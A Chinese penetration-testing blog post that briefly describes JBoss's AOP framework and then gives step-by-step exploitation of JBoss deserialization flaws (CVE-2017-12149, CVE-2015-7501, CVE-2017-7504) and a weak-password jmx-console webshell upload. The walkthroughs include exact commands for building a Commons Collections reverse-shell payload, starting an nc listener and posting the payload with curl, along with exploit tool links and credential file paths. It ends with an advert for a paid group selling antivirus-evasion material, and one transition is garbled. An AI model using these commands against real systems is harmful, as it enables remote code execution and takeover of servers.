免责声明
JBoss是一个开源的符合J2EE规范的应用服务器,作为J2EE规范的补充,Jboss中引入了AOP框架,为普通Java类提供了J2EE服务,而无需遵循EJB规范。Jboss通过类载入时,使用Javassist对字节码操作实现动态AOP框架,Javassist是一个开源的编辑字节码的类库。
Jboss中参考,切入点与方面也由普通Java对象实现,并使用XML文件配置。Jboss的连接点模型与AspectJ略有不同,提供了一系列预定义的切入点,包括类匹配,方法调用,构造器调用,域访问,特定的调用与被调用关系。通过这些切入点的逻辑运算,可以实现更为复杂的切入点。方面为Java类,参考是其中的一个方法,方面中不含切入点,方面主要为各种拦截器(Interceptor),拦截器即为只含一个参考的方面,单一连接点上可由多个拦截器形成拦截器链,拦截器执行额外的操作。对方法的拦截由Advisor类管理,在连接点依次调用拦截器,并最终调用被逻辑的方法。而关于切入点,参考已及方面的信息由AspectManager管理。此外,Jboss提供对元数据的支持,用于为类,方法,构造器以及域添加额外的属性,并可在运行期访问。
为实现拦截,Jboss需要修改类的字节码,大致过程如下。
XML配置文件中关于切入点,拦截器,元数据以及混合类的信息在应用程序部署时被读入、解析,并生成相应的对象,这些信息与实例化的对象由AspectManager管理。在需要混入方面代码的类载入时,AspectManager将创建Advisor类,将方面相关信息传递给它,并对类的字节码进行修改,之后将修改过的字节码交给类载入器完成类的装载。字节码的修改主要是对被载入的类添加一系列方法用于代理那些匹配连接点的方法调用,构造器调用,域访问以及方法导入,转为对Advisor类相应方法的调用。类中各方法将重命名,保留原方法体,并添加一个与原方法同名的方法,在这个方法中调用那些代理方法,用来将调用代理给Advisor类,或调用重命名的原方法。对于域访问,分别添加两个方法,对应于读与写操作,将域访问代理至Advisor类,在访问这个域的类中,则需将对域的访问转换为对上述方法的调用。对于构造器调用,则添加一个方法,将调用代理至Advisor类,并对构造对象的类的构造代码作相应转换。对于导入,被导入的类中将添加一个混合类实现的引用,并添加混合类接口中的方法,将对混合类方法的调用代理至Advisor类,并最终调用混合类的实现。相关类载入后,初始化Advisor类,填入拦截器链,以完成整个处理过程。
JBOSS应用服务器还具有许多优秀的特质:
a.访问控制不严导致的漏洞
b.反序列化漏洞
/opt/jboss/jboss4/server/default/deploy/jmx-console.war/WEB-INF/jboss-web.xml
/opt/jboss/jboss4/server/default/deploy/management/console-mgr.sar/web-console.war/WEB-INF/jboss-web.xml
jboss的控制台账号密码说明
jmx-console 和 web-console的账户密码相同密码文件保存在一下路径下:
/opt/jboss/jboss4/server/default/conf/props/jmx-console-users.properties
本文使用在线靶场复现,靶场地址如下:
https://vulfocus.cn/
1.jboss 代码执行 (CVE-2017-12149)
JBoss 5.x/6.x
直接使用 jboss反序列化_CVE-2017-12149工具
工具地址:
https://github.com/yunxu1/jboss-_CVE-2017-12149
http://scan.javasec.cn/java/JavaDeserH2HC.zip
javac -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap.java
java -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap x.x.x.x:7777
nc -vv -l -p 7777
curl http://x.x.x.x:8080/invoker/readonly --data-binary @ReverseShellCommonsCollectionsHashMap.serx
2.JBoss JMXInvokerServlet 反序列化漏洞(CVE-2015-7501)
Red Hat JBoss A-MQ 6.x版本;
BPM Suite (BPMS) 6.x版本;
BRMS 6.x版本和5.x版本;
Data Grid (JDG) 6.x版本;
Data Virtualization (JDV) 6.x版本和5.x版本;
Enterprise Application Platform 6.x版本,5.x版本和4.3.x版本;
Fuse 6.x版本;
Fuse Service Works (FSW) 6.x版本;
Operations Network (JBoss ON) 3.x版本;
Portal 6.x版本;
SOA Platform (SOA-P) 5.x版本;
Web Server (JWS) 3.x版本;
Red Hat OpenShift/xPAAS 3.x版本;
Red Hat Subscription Asset Manager 1.3版本。
访问网站页面
页面如果弹出下载JMXInvokerServlet文件的页面,则证明存在漏洞
下载反序列化工具:
https://github.com/ianxtianxt/CVE-2015-7501/
下载后解压完,进入到工具目录 ,执行命令:
javac -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap.java
继续执行命令(IP是攻击机,PORT是要监听的端口):
java -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap IP:PORT
新界面开启nc监听准备接收反弹过来的shell
nc -lvnp 监听的端口
这个时候在工具的目录下生成了一个ReverseShellCommonsCollectionsHashMap.ser文件,然后我们curl就能反弹shell了
curl http://目标ip:port/invoker/readonly --data-binary @ReverseShellCommonsCollectionsHashMap.ser
3.JBoss EJBInvokerServlet 反序列化漏洞
主要集中在 jboss 6.x 版本上:
Apache Group Commons Collections 4.0
Apache Group Commons Collections 3.2.1
Apache Group Commons Collections
/invoker/EJBInvokerServlet
4.JBossMQJMS 反序列化漏洞(CVE-2017-7504)
漏洞简介
影响版本
JBoss <=4.x
漏洞原理
JbossMQ实现过程的JMS over HTTP Invocation Layer的HTTPServerILServlet.java文件存在反序列化漏洞,远程攻击者可借助特制的序列化数据利用该漏洞执行任意代码。
漏洞复现
/jbossmq-httpil/HTTPServerILServlet
https://github.com/joaomatosf/JavaDeserH2HC
javac -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap.java
生成ReverseShellCommonsCollectionsHashMap.ser(ip是要攻击机的ip,port是要监听的端口)
java -cp .:commons-collections-3.2.1.jar ReverseShellCommonsCollectionsHashMap ip:port
新开一个窗口用nc监听刚刚的端口
nc -lnvp port
这个时候在这个目录下生成了一个ReverseShellCommonsCollectionsHashMap.ser文件,然后我们curl就能反弹shell了
curl http://目标ip:port/invoker/readonly --data-binary @ReverseShellCommonsCollectionsHashMap.ser
成功反弹
5.JBoss Administration Console 弱口令&&getshell
全版本
ip/jmx-console/HtmlAdaptor?action=inspectMBean&name=jboss.deployment%3Atype%3DDeploymentScanner%2Cflavor%3DURL
所以要回到之前回到flavor=URL,type=DeploymentScanner页面点击下属性列表中的"Apply change"
同用url地址
http://ip:8080/jmx-console/HtmlAdaptor?action=inspectMBean&name=jboss.deployment%3Atype%3DDeploymentScanner%2Cflavor%3DURL
然后等待的时间是有点长的,我当时是等了20分钟左右。在jmx-console目录下的deployment中的war包中如果能看到才能证明是上传成功
Webshell的地址是war包的名字+生成war包webshell的名字
成功连上冰歇马
/jboss/jboss4/server/default/deploy/management/console-mgr.sar/web-console.war/WEB-INF/classes#
/opt/jboss/jboss4/server/default/conf/props/jmx-console-users.properties
知识星球
★
欢 迎 加 入 星 球 !
代码审计+免杀+渗透学习资源+各种资料文档+各种工具+付费会员
进成员内部群
星球的最近主题和星球内部工具一些展示
关 注 有 礼
还在等什么?赶紧点击下方名片关注学习吧!
推荐阅读